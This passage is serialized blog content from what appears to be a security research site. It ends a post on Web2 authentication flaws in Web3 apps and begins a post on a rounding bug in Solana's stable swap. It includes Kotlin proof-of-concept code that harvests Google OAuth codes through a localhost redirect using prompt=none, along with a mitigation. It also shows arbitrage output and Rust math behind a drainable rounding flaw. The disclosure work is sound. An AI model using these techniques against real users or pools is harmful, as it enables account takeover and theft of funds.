try",{"type":23,"tag":504,"props":1141,"children":1142},{"style":523},[1143],{"type":28,"value":552},{"type":23,"tag":504,"props":1145,"children":1146},{"class":506,"line":851},[1147,1152],{"type":23,"tag":504,"props":1148,"children":1149},{"style":517},[1150],{"type":28,"value":1151},"                startWebServer",{"type":23,"tag":504,"props":1153,"children":1154},{"style":523},[1155],{"type":28,"value":1156},"()\n",{"type":23,"tag":504,"props":1158,"children":1159},{"class":506,"line":869},[1160,1165,1170,1174,1179,1183,1188],{"type":23,"tag":504,"props":1161,"children":1162},{"style":523},[1163],{"type":28,"value":1164},"                Log.",{"type":23,"tag":504,"props":1166,"children":1167},{"style":517},[1168],{"type":28,"value":1169},"d",{"type":23,"tag":504,"props":1171,"children":1172},{"style":523},[1173],{"type":28,"value":526},{"type":23,"tag":504,"props":1175,"children":1176},{"style":622},[1177],{"type":28,"value":1178},"\"WebServer\"",{"type":23,"tag":504,"props":1180,"children":1181},{"style":523},[1182],{"type":28,"value":576},{"type":23,"tag":504,"props":1184,"children":1185},{"style":622},[1186],{"type":28,"value":1187},"\"Server started on http://localhost:3000\"",{"type":23,"tag":504,"props":1189,"children":1190},{"style":523},[1191],{"type":28,"value":1192},")\n",{"type":23,"tag":504,"props":1194,"children":1195},{"class":506,"line":878},[1196,1201,1205,1210,1215],{"type":23,"tag":504,"props":1197,"children":1198},{"style":523},[1199],{"type":28,"value":1200},"            } ",{"type":23,"tag":504,"props":1202,"children":1203},{"style":511},[1204],{"type":28,"value":796},{"type":23,"tag":504,"props":1206,"children":1207},{"style":523},[1208],{"type":28,"value":1209}," (e: ",{"type":23,"tag":504,"props":1211,"children":1212},{"style":1012},[1213],{"type":28,"value":1214},"Exception",{"type":23,"tag":504,"props":1216,"children":1217},{"style":523},[1218],{"type":28,"value":537},{"type":23,"tag":504,"props":1220,"children":1222},{"class":506,"line":1221},12,[1223,1227,1232,1236,1240,1244,1249,1254,1259,1264,1269],{"type":23,"tag":504,"props":1224,"children":1225},{"style":523},[1226],{"type":28,"value":1164},{"type":23,"tag":504,"props":1228,"children":1229},{"style":517},[1230],{"type":28,"value":1231},"e",{"type":23,"tag":504,"props":1233,"children":1234},{"style":523},[1235],{"type":28,"value":526},{"type":23,"tag":504,"props":1237,"children":1238},{"style":622},[1239],{"type":28,"value":1178},{"type":23,"tag":504,"props":1241,"children":1242},{"style":523},[1243],{"type":28,"value":576},{"type":23,"tag":504,"props":1245,"children":1246},{"style":622},[1247],{"type":28,"value":1248},"\"Error starting server: ",{"type":23,"tag":504,"props":1250,"children":1251},{"style":511},[1252],{"type":28,"value":1253},"${",{"type":23,"tag":504,"props":1255,"children":1256},{"style":598},[1257],{"type":28,"value":1258},"e.message",{"type":23,"tag":504,"props":1260,"children":1261},{"style":511},[1262],{"type":28,"value":1263},"}",{"type":23,"tag":504,"props":1265,"children":1266},{"style":622},[1267],{"type":28,"value":1268},"\"",{"type":23,"tag":504,"props":1270,"children":1271},{"style":523},[1272],{"type":28,"value":1273},", e)\n",{"type":23,"tag":504,"props":1275,"children":1277},{"class":506,"line":1276},13,[1278],{"type":23,"tag":504,"props":1279,"children":1280},{"style":523},[1281],{"type":28,"value":1282},"            }\n",{"type":23,"tag":504,"props":1284,"children":1286},{"class":506,"line":1285},14,[1287],{"type":23,"tag":504,"props":1288,"children":1289},{"style":523},[1290],{"type":28,"value":1291},"        }\n",{"type":23,"tag":504,"props":1293,"children":1295},{"class":506,"line":1294},15,[1296],{"type":23,"tag":504,"props":1297,"children":1298},{"emptyLinePlaceholder":16},[1299],{"type":28,"value":1038},{"type":23,"tag":504,"props":1301,"children":1303},{"class":506,"line":1302},16,[1304],{"type":23,"tag":504,"props":1305,"children":1306},{"style":1106},[1307],{"type":28,"value":1308},"        // Open the Google OAuth page\n",{"type":23,"tag":504,"props":1310,"children":1312},{"class":506,"line":1311},17,[1313,1318,1323,1327],{"type":23,"tag":504,"props":1314,"children":1315},{"style":511},[1316],{"type":28,"value":1317},"        val",{"type":23,"tag":504,"props":1319,"children":1320},{"style":523},[1321],{"type":28,"value":1322}," googleOAuthUrl ",{"type":23,"tag":504,"props":1324,"children":1325},{"style":598},[1326],{"type":28,"value":601},{"type":23,"tag":504,"props":1328,"children":1329},{"style":622},[1330],{"type":28,"value":1331}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":504,"props":1333,"children":1335},{"class":506,"line":1334},18,[1336,1340,1345,1349,1354,1359,1363],{"type":23,"tag":504,"props":1337,"children":1338},{"style":511},[1339],{"type":28,"value":1317},{"type":23,"tag":504,"props":1341,"children":1342},{"style":523},[1343],{"type":28,"value":1344}," browserIntent ",{"type":23,"tag":504,"props":1346,"children":1347},{"style":598},[1348],{"type":28,"value":601},{"type":23,"tag":504,"props":1350,"children":1351},{"style":517},[1352],{"type":28,"value":1353}," Intent",{"type":23,"tag":504,"props":1355,"children":1356},{"style":523},[1357],{"type":28,"value":1358},"(Intent.ACTION_VIEW, Uri.",{"type":23,"tag":504,"props":1360,"children":1361},{"style":517},[1362],{"type":28,"value":662},{"type":23,"tag":504,"props":1364,"children":1365},{"style":523},[1366],{"type":28,"value":1367},"(googleOAuthUrl))\n",{"type":23,"tag":504,"props":1369,"children":1371},{"class":506,"line":1370},19,[1372,1377],{"type":23,"tag":504,"props":1373,"children":1374},{"style":517},[1375],{"type":28,"value":1376},"        startActivity",{"type":23,"tag":504,"props":1378,"children":1379},{"style":523},[1380],{"type":28,"value":1381},"(browserIntent)\n",{"type":23,"tag":504,"props":1383,"children":1385},{"class":506,"line":1384},20,[1386],{"type":23,"tag":504,"props":1387,"children":1388},{"style":523},[1389],{"type":28,"value":875},{"type":23,"tag":504,"props":1391,"children":1393},{"class":506,"line":1392},21,[1394],{"type":23,"tag":504,"props":1395,"children":1396},{"emptyLinePlaceholder":16},[1397],{"type":28,"value":1038},{"type":23,"tag":504,"props":1399,"children":1401},{"class":506,"line":1400},22,[1402,1407,1411,1416],{"type":23,"tag":504,"props":1403,"children":1404},{"style":511},[1405],{"type":28,"value":1406},"    private",{"type":23,"tag":504,"props":1408,"children":1409},{"style":511},[1410],{"type":28,"value":1051},{"type":23,"tag":504,"props":1412,"children":1413},{"style":517},[1414],{"type":28,"value":1415}," startWebServer",{"type":23,"tag":504,"props":1417,"children":1418},{"style":523},[1419],{"type":28,"value":1030},{"type":23,"tag":504,"props":1421,"children":1423},{"class":506,"line":1422},23,[1424,1429,1434,1438,1444],{"type":23,"tag":504,"props":1425,"children":1426},{"style":517},[1427],{"type":28,"value":1428},"        embeddedServer",{"type":23,"tag":504,"props":1430,"children":1431},{"style":523},[1432],{"type":28,"value":1433},"(CIO, port ",{"type":23,"tag":504,"props":1435,"children":1436},{"style":598},[1437],{"type":28,"value":601},{"type":23,"tag":504,"props":1439,"children":1441},{"style":1440},"--shiki-default:#B5CEA8",[1442],{"type":28,"value":1443}," 3000",{"type":23,"tag":504,"props":1445,"children":1446},{"style":523},[1447],{"type":28,"value":537},{"type":23,"tag":504,"props":1449,"children":1451},{"class":506,"line":1450},24,[1452,1457],{"type":23,"tag":504,"props":1453,"children":1454},{"style":517},[1455],{"type":28,"value":1456},"            routing",{"type":23,"tag":504,"props":1458,"children":1459},{"style":523},[1460],{"type":28,"value":552},{"type":23,"tag":504,"props":1462,"children":1464},{"class":506,"line":1463},25,[1465,1470,1474,1479],{"type":23,"tag":504,"props":1466,"children":1467},{"style":511},[1468],{"type":28,"value":1469},"                get",{"type":23,"tag":504,"props":1471,"children":1472},{"style":523},[1473],{"type":28,"value":526},{"type":23,"tag":504,"props":1475,"children":1476},{"style":622},[1477],{"type":28,"value":1478},"\"{...}\"",{"type":23,"tag":504,"props":1480,"children":1481},{"style":523},[1482],{"type":28,"value":537},{"type":23,"tag":504,"props":1484,"children":1486},{"class":506,"line":1485},26,[1487,1492,1497],{"type":23,"tag":504,"props":1488,"children":1489},{"style":523},[1490],{"type":28,"value":1491},"                    call.",{"type":23,"tag":504,"props":1493,"children":1494},{"style":517},[1495],{"type":28,"value":1496},"respondHtml",{"type":23,"tag":504,"props":1498,"children":1499},{"style":523},[1500],{"type":28,"value":552},{"type":23,"tag":504,"props":1502,"children":1504},{"class":506,"line":1503},27,[1505,1510],{"type":23,"tag":504,"props":1506,"children":1507},{"style":517},[1508],{"type":28,"value":1509},"                        head",{"type":23,"tag":504,"props":1511,"children":1512},{"style":523},[1513],{"type":28,"value":552},{"type":23,"tag":504,"props":1515,"children":1517},{"class":506,"line":1516},28,[1518,1523,1528,1532,1537],{"type":23,"tag":504,"props":1519,"children":1520},{"style":517},[1521],{"type":28,"value":1522},"                            meta",{"type":23,"tag":504,"props":1524,"children":1525},{"style":523},[1526],{"type":28,"value":1527},"(charset ",{"type":23,"tag":504,"props":1529,"children":1530},{"style":598},[1531],{"type":28,"value":601},{"type":23,"tag":504,"props":1533,"children":1534},{"style":622},[1535],{"type":28,"value":1536}," \"UTF-8\"",{"type":23,"tag":504,"props":1538,"children":1539},{"style":523},[1540],{"type":28,"value":1192},{"type":23,"tag":504,"props":1542,"children":1544},{"class":506,"line":1543},29,[1545,1549,1554,1558,1563,1568,1572,1577],{"type":23,"tag":504,"props":1546,"children":1547},{"style":517},[1548],{"type":28,"value":1522},{"type":23,"tag":504,"props":1550,"children":1551},{"style":523},[1552],{"type":28,"value":1553},"(name ",{"type":23,"tag":504,"props":1555,"children":1556},{"style":598},[1557],{"type":28,"value":601},{"type":23,"tag":504,"props":1559,"children":1560},{"style":622},[1561],{"type":28,"value":1562}," \"viewport\"",{"type":23,"tag":504,"props":1564,"children":1565},{"style":523},[1566],{"type":28,"value":1567},", content ",{"type":23,"tag":504,"props":1569,"children":1570},{"style":598},[1571],{"type":28,"value":601},{"type":23,"tag":504,"props":1573,"children":1574},{"style":622},[1575],{"type":28,"value":1576}," \"width=device-width, initial-scale=1.0\"",{"type":23,"tag":504,"props":1578,"children":1579},{"style":523},[1580],{"type":28,"value":1192},{"type":23,"tag":504,"props":1582,"children":1584},{"class":506,"line":1583},30,[1585,1590,1594,1599],{"type":23,"tag":504,"props":1586,"children":1587},{"style":517},[1588],{"type":28,"value":1589},"                            title",{"type":23,"tag":504,"props":1591,"children":1592},{"style":523},[1593],{"type":28,"value":526},{"type":23,"tag":504,"props":1595,"children":1596},{"style":622},[1597],{"type":28,"value":1598},"\"OAuth Redirect\"",{"type":23,"tag":504,"props":1600,"children":1601},{"style":523},[1602],{"type":28,"value":1192},{"type":23,"tag":504,"props":1604,"children":1606},{"class":506,"line":1605},31,[1607],{"type":23,"tag":504,"props":1608,"children":1609},{"style":523},[1610],{"type":28,"value":1611},"                        }\n",{"type":23,"tag":504,"props":1613,"children":1615},{"class":506,"line":1614},32,[1616,1621],{"type":23,"tag":504,"props":1617,"children":1618},{"style":517},[1619],{"type":28,"value":1620},"                        body",{"type":23,"tag":504,"props":1622,"children":1623},{"style":523},[1624],{"type":28,"value":552},{"type":23,"tag":504,"props":1626,"children":1628},{"class":506,"line":1627},33,[1629,1634,1638,1643,1648],{"type":23,"tag":504,"props":1630,"children":1631},{"style":517},[1632],{"type":28,"value":1633},"                            h1",{"type":23,"tag":504,"props":1635,"children":1636},{"style":523},[1637],{"type":28,"value":747},{"type":23,"tag":504,"props":1639,"children":1640},{"style":598},[1641],{"type":28,"value":1642},"+",{"type":23,"tag":504,"props":1644,"children":1645},{"style":622},[1646],{"type":28,"value":1647},"\"Google OAuth Redirect\"",{"type":23,"tag":504,"props":1649,"children":1650},{"style":523},[1651],{"type":28,"value":1652}," }\n",{"type":23,"tag":504,"props":1654,"children":1656},{"class":506,"line":1655},34,[1657,1662],{"type":23,"tag":504,"props":1658,"children":1659},{"style":517},[1660],{"type":28,"value":1661},"                            script",{"type":23,"tag":504,"props":1663,"children":1664},{"style":523},[1665],{"type":28,"value":552},{"type":23,"tag":504,"props":1667,"children":1669},{"class":506,"line":1668},35,[1670,1675],{"type":23,"tag":504,"props":1671,"children":1672},{"style":598},[1673],{"type":28,"value":1674},"                                +",{"type":23,"tag":504,"props":1676,"children":1677},{"style":622},[1678],{"type":28,"value":1679},"\"document.body.innerText = location.search;\"\n",{"type":23,"tag":504,"props":1681,"children":1683},{"class":506,"line":1682},36,[1684],{"type":23,"tag":504,"props":1685,"children":1686},{"style":523},[1687],{"type":28,"value":1688},"                            }\n",{"type":23,"tag":504,"props":1690,"children":1692},{"class":506,"line":1691},37,[1693],{"type":23,"tag":504,"props":1694,"children":1695},{"style":523},[1696],{"type":28,"value":1611},{"type":23,"tag":504,"props":1698,"children":1700},{"class":506,"line":1699},38,[1701],{"type":23,"tag":504,"props":1702,"children":1703},{"style":523},[1704],{"type":28,"value":1705},"                    }\n",{"type":23,"tag":504,"props":1707,"children":1709},{"class":506,"line":1708},39,[1710],{"type":23,"tag":504,"props":1711,"children":1712},{"style":523},[1713],{"type":28,"value":1714},"                }\n",{"type":23,"tag":504,"props":1716,"children":1718},{"class":506,"line":1717},40,[1719],{"type":23,"tag":504,"props":1720,"children":1721},{"style":523},[1722],{"type":28,"value":1282},{"type":23,"tag":504,"props":1724,"children":1726},{"class":506,"line":1725},41,[1727,1732,1737,1742,1746,1751],{"type":23,"tag":504,"props":1728,"children":1729},{"style":523},[1730],{"type":28,"value":1731},"        }.",{"type":23,"tag":504,"props":1733,"children":1734},{"style":517},[1735],{"type":28,"value":1736},"start",{"type":23,"tag":504,"props":1738,"children":1739},{"style":523},[1740],{"type":28,"value":1741},"(wait ",{"type":23,"tag":504,"props":1743,"children":1744},{"style":598},[1745],{"type":28,"value":601},{"type":23,"tag":504,"props":1747,"children":1748},{"style":511},[1749],{"type":28,"value":1750}," true",{"type":23,"tag":504,"props":1752,"children":1753},{"style":523},[1754],{"type":28,"value":1192},{"type":23,"tag":504,"props":1756,"children":1758},{"class":506,"line":1757},42,[1759],{"type":23,"tag":504,"props":1760,"children":1761},{"style":523},[1762],{"type":28,"value":875},{"type":23,"tag":504,"props":1764,"children":1766},{"class":506,"line":1765},43,[1767],{"type":23,"tag":504,"props":1768,"children":1769},{"style":523},[1770],{"type":28,"value":884},{"type":23,"tag":24,"props":1772,"children":1773},{},[1774],{"type":28,"value":1775},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":23,"tag":24,"props":1777,"children":1778},{},[1779],{"type":28,"value":1780},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":23,"tag":82,"props":1782,"children":1784},{"id":1783},"mitigation-1",[1785],{"type":28,"value":890},{"type":23,"tag":24,"props":1787,"children":1788},{},[1789,1791,1796],{"type":28,"value":1790},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":23,"tag":56,"props":1792,"children":1794},{"className":1793},[],[1795],{"type":28,"value":311},{"type":28,"value":1797}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":23,"tag":70,"props":1799,"children":1801},{"id":1800},"conclusion",[1802],{"type":28,"value":1803},"Conclusion",{"type":23,"tag":24,"props":1805,"children":1806},{},[1807],{"type":28,"value":1808},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":23,"tag":24,"props":1810,"children":1811},{},[1812],{"type":28,"value":1813},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":23,"tag":1815,"props":1816,"children":1817},"style",{},[1818],{"type":28,"value":1819},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":540,"depth":540,"links":1821},[1822,1829,1834,1837],{"id":72,"depth":540,"text":75,"children":1823},[1824,1825,1826,1827,1828],{"id":84,"depth":555,"text":87},{"id":113,"depth":555,"text":116},{"id":176,"depth":555,"text":179},{"id":233,"depth":555,"text":236},{"id":335,"depth":555,"text":338},{"id":382,"depth":540,"text":385,"children":1830},[1831,1832,1833],{"id":388,"depth":555,"text":391},{"id":415,"depth":555,"text":418},{"id":887,"depth":555,"text":890},{"id":915,"depth":540,"text":918,"children":1835},[1836],{"id":1783,"depth":555,"text":890},{"id":1800,"depth":540,"text":1803},"markdown","content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","content","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3","md",[1845,4361,4698,8241,12596,17726,27983,29415,30178,34398,39421,44853,46010,49500,59892,66621,68460,69938,74603,88502,91223,96012,98452,100797,106583,122403,130703,140627,145905,155298,157635],{"_path":1846,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":1847,"description":1848,"image":1849,"date":1853,"isFeatured":16,"tags":1854,"onBlogPage":16,"body":1857,"_type":1838,"_id":4358,"_source":1840,"_file":4359,"_stem":4360,"_extension":1843},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":1850,"width":1851,"height":1852},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[1855,1856],"solana","report",{"type":20,"children":1858,"toc":4352},[1859,1873,1878,1883,1892,1898,1903,1908,1917,1925,1930,1935,1943,1948,1953,2332,2342,2347,2877,2882,2890,2897,2903,2908,2913,2918,2925,2937,2942,2954,3194,3199,3204,3210,3215,3220,3266,3271,3279,3284,3289,3294,3438,3451,3568,3582,3590,3604,3612,3625,3630,3642,3650,3672,4290,4296,4301,4313,4326,4333,4338,4343,4348],{"type":23,"tag":24,"props":1860,"children":1861},{},[1862,1864,1871],{"type":28,"value":1863},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":23,"tag":92,"props":1865,"children":1868},{"href":1866,"rel":1867},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[96],[1869],{"type":28,"value":1870},"spl-token-swap",{"type":28,"value":1872},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":23,"tag":24,"props":1874,"children":1875},{},[1876],{"type":28,"value":1877},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":23,"tag":24,"props":1879,"children":1880},{},[1881],{"type":28,"value":1882},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":23,"tag":24,"props":1884,"children":1885},{},[1886],{"type":23,"tag":1887,"props":1888,"children":1889},"em",{},[1890],{"type":28,"value":1891},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":23,"tag":70,"props":1893,"children":1895},{"id":1894},"discovery",[1896],{"type":28,"value":1897},"Discovery",{"type":23,"tag":24,"props":1899,"children":1900},{},[1901],{"type":28,"value":1902},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":23,"tag":24,"props":1904,"children":1905},{},[1906],{"type":28,"value":1907},"After a while, he noticed something weird..",{"type":23,"tag":1909,"props":1910,"children":1911},"blockquote",{},[1912],{"type":23,"tag":24,"props":1913,"children":1914},{},[1915],{"type":28,"value":1916},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":23,"tag":494,"props":1918,"children":1920},{"code":1919},"KwnjUuZ :              0 9vMJfxu ->              1 EPjFWdd\nKwnjUuZ :              1 EPjFWdd ->              2 9vMJfxu\nKwnjUuZ :              2 9vMJfxu ->              3 EPjFWdd\nHU1tejU :              3 EPjFWdd ->            625 PRT88Rk\n24ZbKS3 :            625 PRT88Rk ->              7 EPjFWdd\n3oRPcFa :              7 EPjFWdd ->              6 BQcdHdA\n",[1921],{"type":23,"tag":56,"props":1922,"children":1923},{"__ignoreMap":7},[1924],{"type":28,"value":1919},{"type":23,"tag":24,"props":1926,"children":1927},{},[1928],{"type":28,"value":1929},"Somehow, we were getting tokens from nothing?",{"type":23,"tag":24,"props":1931,"children":1932},{},[1933],{"type":28,"value":1934},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":23,"tag":494,"props":1936,"children":1938},{"code":1937},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[1939],{"type":23,"tag":56,"props":1940,"children":1941},{"__ignoreMap":7},[1942],{"type":28,"value":1937},{"type":23,"tag":24,"props":1944,"children":1945},{},[1946],{"type":28,"value":1947},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":23,"tag":24,"props":1949,"children":1950},{},[1951],{"type":28,"value":1952},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":23,"tag":494,"props":1954,"children":1958},{"code":1955,"language":1956,"meta":7,"className":1957,"style":7},"    // Solve for y by approximating: y**2 + b*y = c\n    let mut y = d_val;\n    for _ in 0..ITERATIONS {\n        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n        if y_new == y {\n            break;\n        } else {\n            y = y_new;\n        }\n    }\n","rust","language-rust shiki shiki-themes slack-dark",[1959],{"type":23,"tag":56,"props":1960,"children":1961},{"__ignoreMap":7},[1962,1970,2001,2034,2138,2243,2269,2281,2298,2318,2325],{"type":23,"tag":504,"props":1963,"children":1964},{"class":506,"line":507},[1965],{"type":23,"tag":504,"props":1966,"children":1967},{"style":1106},[1968],{"type":28,"value":1969},"    // Solve for y by approximating: y**2 + b*y = c\n",{"type":23,"tag":504,"props":1971,"children":1972},{"class":506,"line":540},[1973,1978,1983,1988,1992,1997],{"type":23,"tag":504,"props":1974,"children":1975},{"style":511},[1976],{"type":28,"value":1977},"    let",{"type":23,"tag":504,"props":1979,"children":1980},{"style":511},[1981],{"type":28,"value":1982}," mut",{"type":23,"tag":504,"props":1984,"children":1985},{"style":529},[1986],{"type":28,"value":1987}," y",{"type":23,"tag":504,"props":1989,"children":1990},{"style":598},[1991],{"type":28,"value":648},{"type":23,"tag":504,"props":1993,"children":1994},{"style":529},[1995],{"type":28,"value":1996}," d_val",{"type":23,"tag":504,"props":1998,"children":1999},{"style":523},[2000],{"type":28,"value":866},{"type":23,"tag":504,"props":2002,"children":2003},{"class":506,"line":555},[2004,2009,2014,2019,2024,2029],{"type":23,"tag":504,"props":2005,"children":2006},{"style":544},[2007],{"type":28,"value":2008},"    for",{"type":23,"tag":504,"props":2010,"children":2011},{"style":529},[2012],{"type":28,"value":2013}," _",{"type":23,"tag":504,"props":2015,"children":2016},{"style":511},[2017],{"type":28,"value":2018}," in",{"type":23,"tag":504,"props":2020,"children":2021},{"style":1440},[2022],{"type":28,"value":2023}," 0",{"type":23,"tag":504,"props":2025,"children":2026},{"style":598},[2027],{"type":28,"value":2028},"..",{"type":23,"tag":504,"props":2030,"children":2031},{"style":523},[2032],{"type":28,"value":2033},"ITERATIONS {\n",{"type":23,"tag":504,"props":2035,"children":2036},{"class":506,"line":633},[2037,2042,2046,2051,2055,2060,2065,2069,2073,2078,2082,2087,2092,2096,2101,2106,2111,2116,2120,2125,2129,2134],{"type":23,"tag":504,"props":2038,"children":2039},{"style":511},[2040],{"type":28,"value":2041},"        let",{"type":23,"tag":504,"props":2043,"children":2044},{"style":523},[2045],{"type":28,"value":801},{"type":23,"tag":504,"props":2047,"children":2048},{"style":529},[2049],{"type":28,"value":2050},"y_new",{"type":23,"tag":504,"props":2052,"children":2053},{"style":523},[2054],{"type":28,"value":576},{"type":23,"tag":504,"props":2056,"children":2057},{"style":529},[2058],{"type":28,"value":2059},"_",{"type":23,"tag":504,"props":2061,"children":2062},{"style":523},[2063],{"type":28,"value":2064},") ",{"type":23,"tag":504,"props":2066,"children":2067},{"style":598},[2068],{"type":28,"value":601},{"type":23,"tag":504,"props":2070,"children":2071},{"style":523},[2072],{"type":28,"value":801},{"type":23,"tag":504,"props":2074,"children":2075},{"style":517},[2076],{"type":28,"value":2077},"checked_u8_power",{"type":23,"tag":504,"props":2079,"children":2080},{"style":523},[2081],{"type":28,"value":526},{"type":23,"tag":504,"props":2083,"children":2084},{"style":598},[2085],{"type":28,"value":2086},"&",{"type":23,"tag":504,"props":2088,"children":2089},{"style":529},[2090],{"type":28,"value":2091},"y",{"type":23,"tag":504,"props":2093,"children":2094},{"style":523},[2095],{"type":28,"value":576},{"type":23,"tag":504,"props":2097,"children":2098},{"style":1440},[2099],{"type":28,"value":2100},"2",{"type":23,"tag":504,"props":2102,"children":2103},{"style":523},[2104],{"type":28,"value":2105},")",{"type":23,"tag":504,"props":2107,"children":2108},{"style":598},[2109],{"type":28,"value":2110},"?.",{"type":23,"tag":504,"props":2112,"children":2113},{"style":517},[2114],{"type":28,"value":2115},"checked_add",{"type":23,"tag":504,"props":2117,"children":2118},{"style":523},[2119],{"type":28,"value":526},{"type":23,"tag":504,"props":2121,"children":2122},{"style":529},[2123],{"type":28,"value":2124},"c",{"type":23,"tag":504,"props":2126,"children":2127},{"style":523},[2128],{"type":28,"value":2105},{"type":23,"tag":504,"props":2130,"children":2131},{"style":598},[2132],{"type":28,"value":2133},"?",{"type":23,"tag":504,"props":2135,"children":2136},{"style":523},[2137],{"type":28,"value":1192},{"type":23,"tag":504,"props":2139,"children":2140},{"class":506,"line":687},[2141,2146,2151,2155,2160,2164,2168,2172,2176,2180,2184,2188,2192,2196,2201,2205,2209,2214,2218,2223,2227,2231,2235,2239],{"type":23,"tag":504,"props":2142,"children":2143},{"style":598},[2144],{"type":28,"value":2145},"            .",{"type":23,"tag":504,"props":2147,"children":2148},{"style":517},[2149],{"type":28,"value":2150},"checked_ceil_div",{"type":23,"tag":504,"props":2152,"children":2153},{"style":523},[2154],{"type":28,"value":526},{"type":23,"tag":504,"props":2156,"children":2157},{"style":517},[2158],{"type":28,"value":2159},"checked_u8_mul",{"type":23,"tag":504,"props":2161,"children":2162},{"style":523},[2163],{"type":28,"value":526},{"type":23,"tag":504,"props":2165,"children":2166},{"style":598},[2167],{"type":28,"value":2086},{"type":23,"tag":504,"props":2169,"children":2170},{"style":529},[2171],{"type":28,"value":2091},{"type":23,"tag":504,"props":2173,"children":2174},{"style":523},[2175],{"type":28,"value":576},{"type":23,"tag":504,"props":2177,"children":2178},{"style":1440},[2179],{"type":28,"value":2100},{"type":23,"tag":504,"props":2181,"children":2182},{"style":523},[2183],{"type":28,"value":2105},{"type":23,"tag":504,"props":2185,"children":2186},{"style":598},[2187],{"type":28,"value":2110},{"type":23,"tag":504,"props":2189,"children":2190},{"style":517},[2191],{"type":28,"value":2115},{"type":23,"tag":504,"props":2193,"children":2194},{"style":523},[2195],{"type":28,"value":526},{"type":23,"tag":504,"props":2197,"children":2198},{"style":529},[2199],{"type":28,"value":2200},"b",{"type":23,"tag":504,"props":2202,"children":2203},{"style":523},[2204],{"type":28,"value":2105},{"type":23,"tag":504,"props":2206,"children":2207},{"style":598},[2208],{"type":28,"value":2110},{"type":23,"tag":504,"props":2210,"children":2211},{"style":517},[2212],{"type":28,"value":2213},"checked_sub",{"type":23,"tag":504,"props":2215,"children":2216},{"style":523},[2217],{"type":28,"value":526},{"type":23,"tag":504,"props":2219,"children":2220},{"style":529},[2221],{"type":28,"value":2222},"d_val",{"type":23,"tag":504,"props":2224,"children":2225},{"style":523},[2226],{"type":28,"value":2105},{"type":23,"tag":504,"props":2228,"children":2229},{"style":598},[2230],{"type":28,"value":2133},{"type":23,"tag":504,"props":2232,"children":2233},{"style":523},[2234],{"type":28,"value":2105},{"type":23,"tag":504,"props":2236,"children":2237},{"style":598},[2238],{"type":28,"value":2133},{"type":23,"tag":504,"props":2240,"children":2241},{"style":523},[2242],{"type":28,"value":866},{"type":23,"tag":504,"props":2244,"children":2245},{"class":506,"line":736},[2246,2251,2256,2261,2265],{"type":23,"tag":504,"props":2247,"children":2248},{"style":544},[2249],{"type":28,"value":2250},"        if",{"type":23,"tag":504,"props":2252,"children":2253},{"style":529},[2254],{"type":28,"value":2255}," y_new",{"type":23,"tag":504,"props":2257,"children":2258},{"style":598},[2259],{"type":28,"value":2260}," 